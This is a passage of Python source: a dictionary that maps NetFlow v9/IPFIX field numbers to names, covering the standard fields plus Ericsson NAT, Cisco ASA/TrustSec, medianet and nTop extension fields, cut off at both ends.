"DST_AS", 18: "BGP_IPV4_NEXT_HOP", 19: "MUL_DST_PKTS", 20: "MUL_DST_BYTES", 21: "LAST_SWITCHED", 22: "FIRST_SWITCHED", 23: "OUT_BYTES", 24: "OUT_PKTS", 25: "IP_LENGTH_MINIMUM", 26: "IP_LENGTH_MAXIMUM", 27: "IPV6_SRC_ADDR", 28: "IPV6_DST_ADDR", 29: "IPV6_SRC_MASK", 30: "IPV6_DST_MASK", 31: "IPV6_FLOW_LABEL", 32: "ICMP_TYPE", 33: "MUL_IGMP_TYPE", 34: "SAMPLING_INTERVAL", 35: "SAMPLING_ALGORITHM", 36: "FLOW_ACTIVE_TIMEOUT", 37: "FLOW_INACTIVE_TIMEOUT", 38: "ENGINE_TYPE", 39: "ENGINE_ID", 40: "TOTAL_BYTES_EXP", 41: "TOTAL_PKTS_EXP", 42: "TOTAL_FLOWS_EXP", 43: "IPV4_ROUTER_SC", 44: "IP_SRC_PREFIX", 45: "IP_DST_PREFIX", 46: "MPLS_TOP_LABEL_TYPE", 47: "MPLS_TOP_LABEL_IP_ADDR", 48: "FLOW_SAMPLER_ID", 49: "FLOW_SAMPLER_MODE", 50: "FLOW_SAMPLER_RANDOM_INTERVAL", 51: "FLOW_CLASS", 52: "IP TTL MINIMUM", 53: "IP TTL MAXIMUM", 54: "IPv4 ID", 55: "DST_TOS", 56: "SRC_MAC", 57: "DST_MAC", 58: "SRC_VLAN", 59: "DST_VLAN", 60: "IP_PROTOCOL_VERSION", 61: "DIRECTION", 62: "IPV6_NEXT_HOP", 63: "BGP_IPV6_NEXT_HOP", 64: "IPV6_OPTION_HEADERS", 70: "MPLS_LABEL_1", 71: "MPLS_LABEL_2", 72: "MPLS_LABEL_3", 73: "MPLS_LABEL_4", 74: "MPLS_LABEL_5", 75: "MPLS_LABEL_6", 76: "MPLS_LABEL_7", 77: "MPLS_LABEL_8", 78: "MPLS_LABEL_9", 79: "MPLS_LABEL_10", 80: "DESTINATION_MAC", 81: "SOURCE_MAC", 82: "IF_NAME", 83: "IF_DESC", 84: "SAMPLER_NAME", 85: "BYTES_TOTAL", 86: "PACKETS_TOTAL", 88: "FRAGMENT_OFFSET", 89: "FORWARDING_STATUS", 90: "VPN_ROUTE_DISTINGUISHER", 91: "mplsTopLabelPrefixLength", 92: "SRC_TRAFFIC_INDEX", 93: "DST_TRAFFIC_INDEX", 94: "APPLICATION_DESC", 95: "APPLICATION_ID", 96: "APPLICATION_NAME", 98: "postIpDiffServCodePoint", 99: "multicastReplicationFactor", 101: "classificationEngineId", 128: "DST_AS_PEER", 129: "SRC_AS_PEER", 130: "exporterIPv4Address", 131: "exporterIPv6Address", 132: "DROPPED_BYTES", 133: "DROPPED_PACKETS", 134: "DROPPED_BYTES_TOTAL", 135: "DROPPED_PACKETS_TOTAL", 136: "flowEndReason", 137: "commonPropertiesId", 138: "observationPointId", 139: "icmpTypeCodeIPv6", 140: "MPLS_TOP_LABEL_IPv6_ADDRESS", 141: "lineCardId", 142: "portId", 143: "meteringProcessId", 144: "FLOW_EXPORTER", 145: "templateId", 146: "wlanChannelId", 147: "wlanSSID", 148: "flowId", 149: "observationDomainId", 150: "flowStartSeconds", 151: "flowEndSeconds", 152: "flowStartMilliseconds", 153: "flowEndMilliseconds", 154: "flowStartMicroseconds", 155: "flowEndMicroseconds", 156: "flowStartNanoseconds", 157: "flowEndNanoseconds", 158: "flowStartDeltaMicroseconds", 159: "flowEndDeltaMicroseconds", 160: "systemInitTimeMilliseconds", 161: "flowDurationMilliseconds", 162: "flowDurationMicroseconds", 163: "observedFlowTotalCount", 164: "ignoredPacketTotalCount", 165: "ignoredOctetTotalCount", 166: "notSentFlowTotalCount", 167: "notSentPacketTotalCount", 168: "notSentOctetTotalCount", 169: "destinationIPv6Prefix", 170: "sourceIPv6Prefix", 171: "postOctetTotalCount", 172: "postPacketTotalCount", 173: "flowKeyIndicator", 174: "postMCastPacketTotalCount", 175: "postMCastOctetTotalCount", 176: "ICMP_IPv4_TYPE", 177: "ICMP_IPv4_CODE", 178: "ICMP_IPv6_TYPE", 179: "ICMP_IPv6_CODE", 180: "UDP_SRC_PORT", 181: "UDP_DST_PORT", 182: "TCP_SRC_PORT", 183: "TCP_DST_PORT", 184: "TCP_SEQ_NUM", 185: "TCP_ACK_NUM", 186: "TCP_WINDOW_SIZE", 187: "TCP_URGENT_PTR", 188: "TCP_HEADER_LEN", 189: "IP_HEADER_LEN", 190: "IP_TOTAL_LEN", 191: "payloadLengthIPv6", 192: "IP_TTL", 193: "nextHeaderIPv6", 194: "mplsPayloadLength", 195: "IP_DSCP", 196: "IP_PRECEDENCE", 197: "IP_FRAGMENT_FLAGS", 198: "DELTA_BYTES_SQUARED", 199: "TOTAL_BYTES_SQUARED", 200: "MPLS_TOP_LABEL_TTL", 201: "MPLS_LABEL_STACK_OCTETS", 202: "MPLS_LABEL_STACK_DEPTH", 203: "MPLS_TOP_LABEL_EXP", 204: "IP_PAYLOAD_LENGTH", 205: "UDP_LENGTH", 206: "IS_MULTICAST", 207: "IP_HEADER_WORDS", 208: "IP_OPTION_MAP", 209: "TCP_OPTION_MAP", 210: "paddingOctets", 211: "collectorIPv4Address", 212: "collectorIPv6Address", 213: "collectorInterface", 214: "collectorProtocolVersion", 215: "collectorTransportProtocol", 216: "collectorTransportPort", 217: "exporterTransportPort", 218: "tcpSynTotalCount", 219: "tcpFinTotalCount", 220: "tcpRstTotalCount", 221: "tcpPshTotalCount", 222: "tcpAckTotalCount", 223: "tcpUrgTotalCount", 224: "ipTotalLength", 225: "postNATSourceIPv4Address", 226: "postNATDestinationIPv4Address", 227: "postNAPTSourceTransportPort", 228: "postNAPTDestinationTransportPort", 229: "natOriginatingAddressRealm", 230: "natEvent", 231: "initiatorOctets", 232: "responderOctets", 233: "firewallEvent", 234: "ingressVRFID", 235: "egressVRFID", 236: "VRFname", 237: "postMplsTopLabelExp", 238: "tcpWindowScale", 239: "biflowDirection", 240: "ethernetHeaderLength", 241: "ethernetPayloadLength", 242: "ethernetTotalLength", 243: "dot1qVlanId", 244: "dot1qPriority", 245: "dot1qCustomerVlanId", 246: "dot1qCustomerPriority", 247: "metroEvcId", 248: "metroEvcType", 249: "pseudoWireId", 250: "pseudoWireType", 251: "pseudoWireControlWord", 252: "ingressPhysicalInterface", 253: "egressPhysicalInterface", 254: "postDot1qVlanId", 255: "postDot1qCustomerVlanId", 256: "ethernetType", 257: "postIpPrecedence", 258: "collectionTimeMilliseconds", 259: "exportSctpStreamId", 260: "maxExportSeconds", 261: "maxFlowEndSeconds", 262: "messageMD5Checksum", 263: "messageScope", 264: "minExportSeconds", 265: "minFlowStartSeconds", 266: "opaqueOctets", 267: "sessionScope", 268: "maxFlowEndMicroseconds", 269: "maxFlowEndMilliseconds", 270: "maxFlowEndNanoseconds", 271: "minFlowStartMicroseconds", 272: "minFlowStartMilliseconds", 273: "minFlowStartNanoseconds", 274: "collectorCertificate", 275: "exporterCertificate", 276: "dataRecordsReliability", 277: "observationPointType", 278: "newConnectionDeltaCount", 279: "connectionSumDurationSeconds", 280: "connectionTransactionId", 281: "postNATSourceIPv6Address", 282: "postNATDestinationIPv6Address", 283: "natPoolId", 284: "natPoolName", 285: "anonymizationFlags", 286: "anonymizationTechnique", 287: "informationElementIndex", 288: "p2pTechnology", 289: "tunnelTechnology", 290: "encryptedTechnology", 291: "basicList", 292: "subTemplateList", 293: "subTemplateMultiList", 294: "bgpValidityState", 295: "IPSecSPI", 296: "greKey", 297: "natType", 298: "initiatorPackets", 299: "responderPackets", 300: "observationDomainName", 301: "selectionSequenceId", 302: "selectorId", 303: "informationElementId", 304: "selectorAlgorithm", 305: "samplingPacketInterval", 306: "samplingPacketSpace", 307: "samplingTimeInterval", 308: "samplingTimeSpace", 309: "samplingSize", 310: "samplingPopulation", 311: "samplingProbability", 312: "dataLinkFrameSize", 313: "IP_SECTION HEADER", 314: "IP_SECTION PAYLOAD", 315: "dataLinkFrameSection", 316: "mplsLabelStackSection", 317: "mplsPayloadPacketSection", 318: "selectorIdTotalPktsObserved", 319: "selectorIdTotalPktsSelected", 320: "absoluteError", 321: "relativeError", 322: "observationTimeSeconds", 323: "observationTimeMilliseconds", 324: "observationTimeMicroseconds", 325: "observationTimeNanoseconds", 326: "digestHashValue", 327: "hashIPPayloadOffset", 328: "hashIPPayloadSize", 329: "hashOutputRangeMin", 330: "hashOutputRangeMax", 331: "hashSelectedRangeMin", 332: "hashSelectedRangeMax", 333: "hashDigestOutput", 334: "hashInitialiserValue", 335: "selectorName", 336: "upperCILimit", 337: "lowerCILimit", 338: "confidenceLevel", 339: "informationElementDataType", 340: "informationElementDescription", 341: "informationElementName", 342: "informationElementRangeBegin", 343: "informationElementRangeEnd", 344: "informationElementSemantics", 345: "informationElementUnits", 346: "privateEnterpriseNumber", 347: "virtualStationInterfaceId", 348: "virtualStationInterfaceName", 349: "virtualStationUUID", 350: "virtualStationName", 351: "layer2SegmentId", 352: "layer2OctetDeltaCount", 353: "layer2OctetTotalCount", 354: "ingressUnicastPacketTotalCount", 355: "ingressMulticastPacketTotalCount", 356: "ingressBroadcastPacketTotalCount", 357: "egressUnicastPacketTotalCount", 358: "egressBroadcastPacketTotalCount", 359: "monitoringIntervalStartMilliSeconds", 360: "monitoringIntervalEndMilliSeconds", 361: "portRangeStart", 362: "portRangeEnd", 363: "portRangeStepSize", 364: "portRangeNumPorts", 365: "staMacAddress", 366: "staIPv4Address", 367: "wtpMacAddress", 368: "ingressInterfaceType", 369: "egressInterfaceType", 370: "rtpSequenceNumber", 371: "userName", 372: "applicationCategoryName", 373: "applicationSubCategoryName", 374: "applicationGroupName", 375: "originalFlowsPresent", 376: "originalFlowsInitiated", 377: "originalFlowsCompleted", 378: "distinctCountOfSourceIPAddress", 379: "distinctCountOfDestinationIPAddress", 380: "distinctCountOfSourceIPv4Address", 381: "distinctCountOfDestinationIPv4Address", 382: "distinctCountOfSourceIPv6Address", 383: "distinctCountOfDestinationIPv6Address", 384: "valueDistributionMethod", 385: "rfc3550JitterMilliseconds", 386: "rfc3550JitterMicroseconds", 387: "rfc3550JitterNanoseconds", 388: "dot1qDEI", 389: "dot1qCustomerDEI", 390: "flowSelectorAlgorithm", 391: "flowSelectedOctetDeltaCount", 392: "flowSelectedPacketDeltaCount", 393: "flowSelectedFlowDeltaCount", 394: "selectorIDTotalFlowsObserved", 395: "selectorIDTotalFlowsSelected", 396: "samplingFlowInterval", 397: "samplingFlowSpacing", 398: "flowSamplingTimeInterval", 399: "flowSamplingTimeSpacing", 400: "hashFlowDomain", 401: "transportOctetDeltaCount", 402: "transportPacketDeltaCount", 403: "originalExporterIPv4Address", 404: "originalExporterIPv6Address", 405: "originalObservationDomainId", 406: "intermediateProcessId", 407: "ignoredDataRecordTotalCount", 408: "dataLinkFrameType", 409: "sectionOffset", 410: "sectionExportedOctets", 411: "dot1qServiceInstanceTag", 412: "dot1qServiceInstanceId", 413: "dot1qServiceInstancePriority", 414: "dot1qCustomerSourceMacAddress", 415: "dot1qCustomerDestinationMacAddress", 416: "deprecated [dup of layer2OctetDeltaCount]", 417: "postLayer2OctetDeltaCount", 418: "postMCastLayer2OctetDeltaCount", 419: "deprecated [dup of layer2OctetTotalCount", 420: "postLayer2OctetTotalCount", 421: "postMCastLayer2OctetTotalCount", 422: "minimumLayer2TotalLength", 423: "maximumLayer2TotalLength", 424: "droppedLayer2OctetDeltaCount", 425: "droppedLayer2OctetTotalCount", 426: "ignoredLayer2OctetTotalCount", 427: "notSentLayer2OctetTotalCount", 428: "layer2OctetDeltaSumOfSquares", 429: "layer2OctetTotalSumOfSquares", 430: "layer2FrameDeltaCount", 431: "layer2FrameTotalCount", 432: "pseudoWireDestinationIPv4Address", 433: "ignoredLayer2FrameTotalCount", 434: "mibObjectValueInteger", 435: "mibObjectValueOctetString", 436: "mibObjectValueOID", 437: "mibObjectValueBits", 438: "mibObjectValueIPAddress", 439: "mibObjectValueCounter", 440: "mibObjectValueGauge", 441: "mibObjectValueTimeTicks", 442: "mibObjectValueUnsigned", 443: "mibObjectValueTable", 444: "mibObjectValueRow", 445: "mibObjectIdentifier", 446: "mibSubIdentifier", 447: "mibIndexIndicator", 448: "mibCaptureTimeSemantics", 449: "mibContextEngineID", 450: "mibContextName", 451: "mibObjectName", 452: "mibObjectDescription", 453: "mibObjectSyntax", 454: "mibModuleName", 455: "mobileIMSI", 456: "mobileMSISDN", 457: "httpStatusCode", 458: "sourceTransportPortsLimit", 459: "httpRequestMethod", 460: "httpRequestHost", 461: "httpRequestTarget", 462: "httpMessageVersion", 463: "natInstanceID", 464: "internalAddressRealm", 465: "externalAddressRealm", 466: "natQuotaExceededEvent", 467: "natThresholdEvent", 468: "httpUserAgent", 469: "httpContentType", 470: "httpReasonPhrase", 471: "maxSessionEntries", 472: "maxBIBEntries", 473: "maxEntriesPerUser", 474: "maxSubscribers", 475: "maxFragmentsPendingReassembly", 476: "addressPoolHighThreshold", 477: "addressPoolLowThreshold", 478: "addressPortMappingHighThreshold", 479: "addressPortMappingLowThreshold", 480: "addressPortMappingPerUserHighThreshold", 481: "globalAddressMappingHighThreshold", # Ericsson NAT Logging 24628: "NAT_LOG_FIELD_IDX_CONTEXT_ID", 24629: "NAT_LOG_FIELD_IDX_CONTEXT_NAME", 24630: "NAT_LOG_FIELD_IDX_ASSIGN_TS_SEC", 24631: "NAT_LOG_FIELD_IDX_UNASSIGN_TS_SEC", 24632: "NAT_LOG_FIELD_IDX_IPV4_INT_ADDR", 24633: "NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR", 24634: "NAT_LOG_FIELD_IDX_EXT_PORT_FIRST", 24635: "NAT_LOG_FIELD_IDX_EXT_PORT_LAST", # Cisco ASA5500 Series NetFlow 33000: "INGRESS_ACL_ID", 33001: "EGRESS_ACL_ID", 33002: "FW_EXT_EVENT", # Cisco TrustSec 34000: "SGT_SOURCE_TAG", 34001: "SGT_DESTINATION_TAG", 34002: "SGT_SOURCE_NAME", 34003: "SGT_DESTINATION_NAME", # medianet performance monitor 37000: "PACKETS_DROPPED", 37003: "BYTE_RATE", 37004: "APPLICATION_MEDIA_BYTES", 37006: "APPLICATION_MEDIA_BYTE_RATE", 37007: "APPLICATION_MEDIA_PACKETS", 37009: "APPLICATION_MEDIA_PACKET_RATE", 37011: "APPLICATION_MEDIA_EVENT", 37012: "MONITOR_EVENT", 37013: "TIMESTAMP_INTERVAL", 37014: "TRANSPORT_PACKETS_EXPECTED", 37016: "TRANSPORT_ROUND_TRIP_TIME", 37017: "TRANSPORT_EVENT_PACKET_LOSS", 37019: "TRANSPORT_PACKETS_LOST", 37021: "TRANSPORT_PACKETS_LOST_RATE", 37022: "TRANSPORT_RTP_SSRC", 37023: "TRANSPORT_RTP_JITTER_MEAN", 37024: "TRANSPORT_RTP_JITTER_MIN", 37025: "TRANSPORT_RTP_JITTER_MAX", 37041: "TRANSPORT_RTP_PAYLOAD_TYPE", 37071: "TRANSPORT_BYTES_OUT_OF_ORDER", 37074: "TRANSPORT_PACKETS_OUT_OF_ORDER", 37083: "TRANSPORT_TCP_WINDOWS_SIZE_MIN", 37084: "TRANSPORT_TCP_WINDOWS_SIZE_MAX", 37085: "TRANSPORT_TCP_WINDOWS_SIZE_MEAN", 37086: "TRANSPORT_TCP_MAXIMUM_SEGMENT_SIZE", # Cisco ASA 5500 40000: "AAA_USERNAME", 40001: "XLATE_SRC_ADDR_IPV4", 40002: "XLATE_DST_ADDR_IPV4", 40003: "XLATE_SRC_PORT", 40004: "XLATE_DST_PORT", 40005: "FW_EVENT", # v9 nTop extensions 80 + NTOP_BASE: "SRC_FRAGMENTS", 81 + NTOP_BASE: "DST_FRAGMENTS", 82 + NTOP_BASE: "SRC_TO_DST_MAX_THROUGHPUT", 83 + NTOP_BASE: "SRC_TO_DST_MIN_THROUGHPUT", 84 + NTOP_BASE: "SRC_TO_DST_AVG_THROUGHPUT", 85 + NTOP_BASE: "SRC_TO_SRC_MAX_THROUGHPUT", 86 + NTOP_BASE: "SRC_TO_SRC_MIN_THROUGHPUT", 87 + NTOP_BASE: "SRC_TO_SRC_AVG_THROUGHPUT", 88 + NTOP_BASE: "NUM_PKTS_UP_TO_128_BYTES", 89 + NTOP_BASE: "NUM_PKTS_128_TO_256_BYTES", 90 + NTOP_BASE: "NUM_PKTS_256_TO_512_BYTES", 91 + NTOP_BASE: "NUM_PKTS_512_TO_1024_BYTES", 92 + NTOP_BASE: "NUM_PKTS_1024_TO_1514_BYTES", 93 + NTOP_BASE: "NUM_PKTS_OVER_1514_BYTES", 98 + NTOP_BASE: "CUMULATIVE_ICMP_TYPE", 101 + NTOP_BASE: "SRC_IP_COUNTRY", 102 + NTOP_BASE: "SRC_IP_CITY", 103 + NTOP_BASE: "DST_IP_COUNTRY", 104 + NTOP_BASE: "DST_IP_CITY", 105 + NTOP_BASE: "FLOW_PROTO_PORT", 106 + NTOP_BASE: "UPSTREAM_TUNNEL_ID", 107 + NTOP_BASE: "LONGEST_FLOW_PKT", 108 + NTOP_BASE: "SHORTEST_FLOW_PKT", 109 + NTOP_BASE: "RETRANSMITTED_IN_PKTS", 110 + NTOP_BASE: "RETRANSMITTED_OUT_PKTS", 111 + NTOP_BASE: "OOORDER_IN_PKTS", 112 + NTOP_BASE: "OOORDER_OUT_PKTS", 113 + NTOP_BASE: "UNTUNNELED_PROTOCOL", 114 + NTOP_BASE: "UNTUNNELED_IPV4_SRC_ADDR", 115 + NTOP_BASE: "UNTUNNELED_L4_SRC_PORT", 116 + NTOP_BASE: "UNTUNNELED_IPV4_DST_ADDR", 117 + NTOP_BASE: "UNTUNNELED_L4_DST_PORT", 118 + NTOP_BASE: "L7_PROTO", 119 + NTOP_BASE: "L7_PROTO_NAME", 120 + NTOP_BASE: "DOWNSTREAM_TUNNEL_ID", 121 + NTOP_BASE: "FLOW_USER_NAME", 122 + NTOP_BASE: "FLOW_SERVER_NAME", 123 + NTOP_BASE: "CLIENT_NW_LATENCY_MS", 124 + NTOP_BASE: "SERVER_NW_LATENCY_MS", 125 + NTOP_BASE: "APPL_LATENCY_MS", 126 + NTOP_BASE: "PLUGIN_NAME", 127 + NTOP_BASE: "RETRANSMITTED_IN_BYTES", 128 + NTOP_BASE: "RETRANSMITTED_OUT_BYTES", 130 + NTOP_BASE: "SIP_CALL_ID", 131 + NTOP_BASE: "SIP_CALLING_PARTY", 132 + NTOP_BASE: "SIP_CALLED_PARTY", 133 + NTOP_BASE: "SIP_RTP_CODECS", 134 + NTOP_BASE: "SIP_INVITE_TIME", 135 + NTOP_BASE: "SIP_TRYING_TIME", 136 + NTOP_BASE: "SIP_RINGING_TIME", 137 + NTOP_BASE: "SIP_INVITE_OK_TIME", 138 + NTOP_BASE: "SIP_INVITE_FAILURE_TIME", 139 + NTOP_BASE: "SIP_BYE_TIME", 140 + NTOP_BASE: "SIP_BYE_OK_TIME", 141 + NTOP_BASE: "SIP_CANCEL_TIME", 142 + NTOP_BASE: "SIP_CANCEL_OK_TIME", 143 + NTOP_BASE: "SIP_RTP_IPV4_SRC_ADDR", 144 + NTOP_BASE: "SIP_RTP_L4_SRC_PORT", 145 + NTOP_BASE: "SIP_RTP_IPV4_DST_ADDR", 146 + NTOP_BASE: "SIP_RTP_L4_DST_PORT", 147 + NTOP_BASE: "SIP_RESPONSE_CODE", 148 + NTOP_BASE: "SIP_REASON_CAUSE", 150 + NTOP_BASE: "RTP_FIRST_SEQ", 151 + NTOP_BASE: "RTP_FIRST_TS", 152 + NTOP_BASE: "RTP_LAST_SEQ", 153 + NTOP_BASE: "RTP_LAST_TS", 154 + NTOP_BASE: "RTP_IN_JITTER", 155 + NTOP_BASE: "RTP_OUT_JITTER", 156 + NTOP_BASE: "RTP_IN_PKT_LOST", 157 + NTOP_BASE: "RTP_OUT_PKT_LOST", 158 + NTOP_BASE: "RTP_OUT_PAYLOAD_TYPE", 159 + NTOP_BASE: "RTP_IN_MAX_DELTA", 160 + NTOP_BASE: "RTP_OUT_MAX_DELTA", 161 + NTOP_BASE: "RTP_IN_PAYLOAD_TYPE", 168 + NTOP_BASE: "SRC_PROC_PID", 169 + NTOP_BASE: "SRC_PROC_NAME", 180 + NTOP_BASE: "HTTP_URL", 181 + NTOP_BASE: "HTTP_RET_CODE", 182 + NTOP_BASE: "HTTP_REFERER", 183 + NTOP_BASE: "HTTP_UA", 184 + NTOP_BASE: "HTTP_MIME", 185 + NTOP_BASE: "SMTP_MAIL_FROM", 186 + NTOP_BASE: "SMTP_RCPT_TO", 187 + NTOP_BASE: "HTTP_HOST", 188 + NTOP_BASE: "SSL_SERVER_NAME", 189 + NTOP_BASE: "BITTORRENT_HASH", 195 + NTOP_BASE: "MYSQL_SRV_VERSION", 196 + NTOP_BASE: "MYSQL_USERNAME", 197 + NTOP_BASE: "MYSQL_DB", 198 + NTOP_BASE: "MYSQL_QUERY", 199 + NTOP_BASE: "MYSQL_RESPONSE", 200 + NTOP_BASE: "ORACLE_USERNAME", 201 + NTOP_BASE: "ORACLE_QUERY", 202 + NTOP_BASE: "ORACLE_RSP_CODE", 203 + NTOP_BASE: "ORACLE_RSP_STRING", 204 + NTOP_BASE: "ORACLE_QUERY_DURATION", 205 + NTOP_BASE: "DNS_QUERY", 206 + NTOP_BASE: "DNS_QUERY_ID", 207 + NTOP_BASE: "DNS_QUERY_TYPE", 208 + NTOP_BASE: "DNS_RET_CODE", 209 + NTOP_BASE: "DNS_NUM_ANSWERS", 210 + NTOP_BASE: "POP_USER", 220 + NTOP_BASE: "GTPV1_REQ_MSG_TYPE", 221 + NTOP_BASE: "GTPV1_RSP_MSG_TYPE", 222 + NTOP_BASE: "GTPV1_C2S_TEID_DATA", 223 + NTOP_BASE: "GTPV1_C2S_TEID_CTRL", 224 + NTOP_BASE: "GTPV1_S2C_TEID_DATA", 225 + NTOP_BASE: "GTPV1_S2C_TEID_CTRL", 226 + NTOP_BASE: "GTPV1_END_USER_IP", 227 + NTOP_BASE: "GTPV1_END_USER_IMSI", 228 + NTOP_BASE: "GTPV1_END_USER_MSISDN", 229 + NTOP_BASE: "GTPV1_END_USER_IMEI", 230 + NTOP_BASE: "GTPV1_APN_NAME", 231 + NTOP_BASE: "GTPV1_RAI_MCC", 232 + NTOP_BASE: "GTPV1_RAI_MNC", 233 + NTOP_BASE: "GTPV1_ULI_CELL_LAC", 234 + NTOP_BASE: "GTPV1_ULI_CELL_CI", 235 + NTOP_BASE: "GTPV1_ULI_SAC", 236 + NTOP_BASE: "GTPV1_RAT_TYPE", 240 + NTOP_BASE: "RADIUS_REQ_MSG_TYPE", 241 + NTOP_BASE: "RADIUS_RSP_MSG_TYPE", 242 + NTOP_BASE: "RADIUS_USER_NAME", 243 + NTOP_BASE: "RADIUS_CALLING_STATION_ID", 244 + NTOP_BASE: "RADIUS_CALLED_STATION_ID", 245 + NTOP_BASE: "RADIUS_NAS_IP_ADDR", 246 + NTOP_BASE: "RADIUS_NAS_IDENTIFIER", 247 + NTOP_BASE: "RADIUS_USER_IMSI", 248 + NTOP_BASE: "RADIUS_USER_IMEI", 249 + NTOP_BASE: "RADIUS_FRAMED_IP_ADDR", 250 + NTOP_BASE: "RADIUS_ACCT_SESSION_ID", 251 + NTOP_BASE: "RADIUS_ACCT_STATUS_TYPE", 252 + NTOP_BASE: "RADIUS_ACCT_IN_OCTETS", 253 + NTOP_BASE: "RADIUS_ACCT_OUT_OCTETS", 254 + NTOP_BASE: "RADIUS_ACCT_IN_PKTS", 255 + NTOP_BASE: "RADIUS_ACCT_OUT_PKTS", 260 + NTOP_BASE: "IMAP_LOGIN", 270 + NTOP_BASE: "GTPV2_REQ_MSG_TYPE", 271 + NTOP_BASE: "GTPV2_RSP_MSG_TYPE", 272 + NTOP_BASE: "GTPV2_C2S_S1U_GTPU_TEID", 273 + NTOP_BASE: "GTPV2_C2S_S1U_GTPU_IP", 274 + NTOP_BASE: "GTPV2_S2C_S1U_GTPU_TEID", 275 + NTOP_BASE: "GTPV2_S2C_S1U_GTPU_IP", 276 + NTOP_BASE: "GTPV2_END_USER_IMSI", 277 + NTOP_BASE: "GTPV2_END_USER_MSISDN", 278 + NTOP_BASE: "GTPV2_APN_NAME", 279 + NTOP_BASE: "GTPV2_ULI_MCC", 280 + NTOP_BASE: "GTPV2_ULI_MNC", 281 + NTOP_BASE: "GTPV2_ULI_CELL_TAC", 282 + NTOP_BASE: "GTPV2_ULI_CELL_ID", 283 + NTOP_BASE: "GTPV2_RAT_TYPE", 284 + NTOP_BASE: "GTPV2_PDN_IP", 285 + NTOP_BASE: "GTPV2_END_USER_IMEI", 290 + NTOP_BASE: "SRC_AS_PATH_1", 291 + NTOP_BASE: "SRC_AS_PATH_2", 292 + NTOP_BASE: "SRC_AS_PATH_3", 293 + NTOP_BASE: "SRC_AS_PATH_4", 294 + NTOP_BASE: "SRC_AS_PATH_5", 295 + NTOP_BASE: "SRC_AS_PATH_6", 296 + NTOP_BASE: "SRC_AS_PATH_7", 297 + NTOP_BASE: "SRC_AS_PATH_8", 298 + NTOP_BASE: "SRC_AS_PATH_9", 299 + NTOP_BASE: "SRC_AS_PATH_10", 300 + NTOP_BASE: "DST_AS_PATH_1", 301 + NTOP_BASE: "DST_AS_PATH_2", 302 + NTOP_BASE: "DST_AS_PATH_3", 303 + NTOP_BASE: "DST_AS_PATH_4", 304 + NTOP_BASE: "DST_AS_PATH_5", 305 + NTOP_BASE: "DST_AS_PATH_6", 306 + NTOP_BASE: "DST_AS_PATH_7", 307 + NTOP_BASE: "DST_AS_PATH_8", 308 + NTOP_BASE: "DST_AS_PATH_9", 309 + NTOP_BASE: "DST_AS_PATH_10", 320 + NTOP_BASE: "MYSQL_APPL_LATENCY_USEC", 321 + NTOP_BASE: "GTPV0_REQ_MSG_TYPE", 322 + NTOP_BASE: "GTPV0_RSP_MSG_TYPE", 323 + NTOP_BASE: "GTPV0_TID", 324 + NTOP_BASE: "GTPV0_END_USER_IP", 325 + NTOP_BASE: "GTPV0_END_USER_MSISDN", 326 + NTOP_BASE: "GTPV0_APN_NAME", 327 + NTOP_BASE: "GTPV0_RAI_MCC", 328 + NTOP_BASE: "GTPV0_RAI_MNC", 329 + NTOP_BASE: "GTPV0_RAI_CELL_LAC", 330 + NTOP_BASE: "GTPV0_RAI_CELL_RAC", 331 + NTOP_BASE: "GTPV0_RESPONSE_CAUSE", 332 + NTOP_BASE: "GTPV1_RESPONSE_CAUSE", 333 + NTOP_BASE: "GTPV2_RESPONSE_CAUSE", 334 + NTOP_BASE: "NUM_PKTS_TTL_5_32", 335 + NTOP_BASE: "NUM_PKTS_TTL_32_64", 336 + NTOP_BASE: "NUM_PKTS_TTL_64_96", 337 + NTOP_BASE: "NUM_PKTS_TTL_96_128", 338 + NTOP_BASE: "NUM_PKTS_TTL_128_160", 339 + NTOP_BASE: "NUM_PKTS_TTL_160_192", 340 + NTOP_BASE: "NUM_PKTS_TTL_192_224", 341 + NTOP_BASE: "NUM_PKTS_TTL_224_255", 342 + NTOP_BASE: "GTPV1_RAI_LAC", 343 + NTOP_BASE: "GTPV1_RAI_RAC", 344 + NTOP_BASE: "GTPV1_ULI_MCC", 345 + NTOP_BASE: "GTPV1_ULI_MNC", 346 + NTOP_BASE: "NUM_PKTS_TTL_2_5", 347 + NTOP_BASE: "NUM_PKTS_TTL_EQ_1", 348 + NTOP_BASE: "RTP_SIP_CALL_ID", 349 + NTOP_BASE: "IN_SRC_OSI_SAP", 350 + NTOP_BASE: "OUT_DST_OSI_SAP", 351 + NTOP_BASE: "WHOIS_DAS_DOMAIN", 352 + NTOP_BASE: "DNS_TTL_ANSWER", 353 + NTOP_BASE: "DHCP_CLIENT_MAC", 354 + NTOP_BASE: "DHCP_CLIENT_IP", 355 + NTOP_BASE: "DHCP_CLIENT_NAME", 356 + NTOP_BASE: "FTP_LOGIN", 357 + NTOP_BASE: "FTP_PASSWORD", 358 + NTOP_BASE: "FTP_COMMAND", 359 + NTOP_BASE: "FTP_COMMAND_RET_CODE", 360 + NTOP_BASE: "HTTP_METHOD", 361 + NTOP_BASE: "HTTP_SITE", 362 + NTOP_BASE: "SIP_C_IP", 363 + NTOP_BASE: "SIP_CALL_STATE", 364 + NTOP_BASE: "EPP_REGISTRAR_NAME", 365 + NTOP_BASE: "EPP_CMD", 366 + NTOP_BASE: "EPP_CMD_ARGS", 367 + NTOP_BASE: "EPP_RSP_CODE", 368 + NTOP_BASE: "EPP_REASON_STR", 369 + NTOP_BASE: "EPP_SERVER_NAME", 370 + NTOP_BASE: "RTP_IN_MOS", 371 + NTOP_BASE: "RTP_IN_R_FACTOR", 372 + NTOP_BASE: "SRC_PROC_USER_NAME", 373 + NTOP_BASE: "SRC_FATHER_PROC_PID", 374 + NTOP_BASE: "SRC_FATHER_PROC_NAME", 375 + NTOP_BASE: "DST_PROC_PID", 376 + NTOP_BASE: "DST_PROC_NAME", 377 + NTOP_BASE: "DST_PROC_USER_NAME", 378 + NTOP_BASE: "DST_FATHER_PROC_PID", 379 + NTOP_BASE: "DST_FATHER_PROC_NAME", 380 + NTOP_BASE: "RTP_RTT", 381 + NTOP_BASE: "RTP_IN_TRANSIT", 382 + NTOP_BASE: "RTP_OUT_TRANSIT", 383 + NTOP_BASE: "SRC_PROC_ACTUAL_MEMORY", 384 + NTOP_BASE: "SRC_PROC_PEAK_MEMORY", 385 + NTOP_BASE: "SRC_PROC_AVERAGE_CPU_LOAD", 386 + NTOP_BASE: "SRC_PROC_NUM_PAGE_FAULTS", 387 + NTOP_BASE: "DST_PROC_ACTUAL_MEMORY", 388 + NTOP_BASE: "DST_PROC_PEAK_MEMORY", 389 + NTOP_BASE: 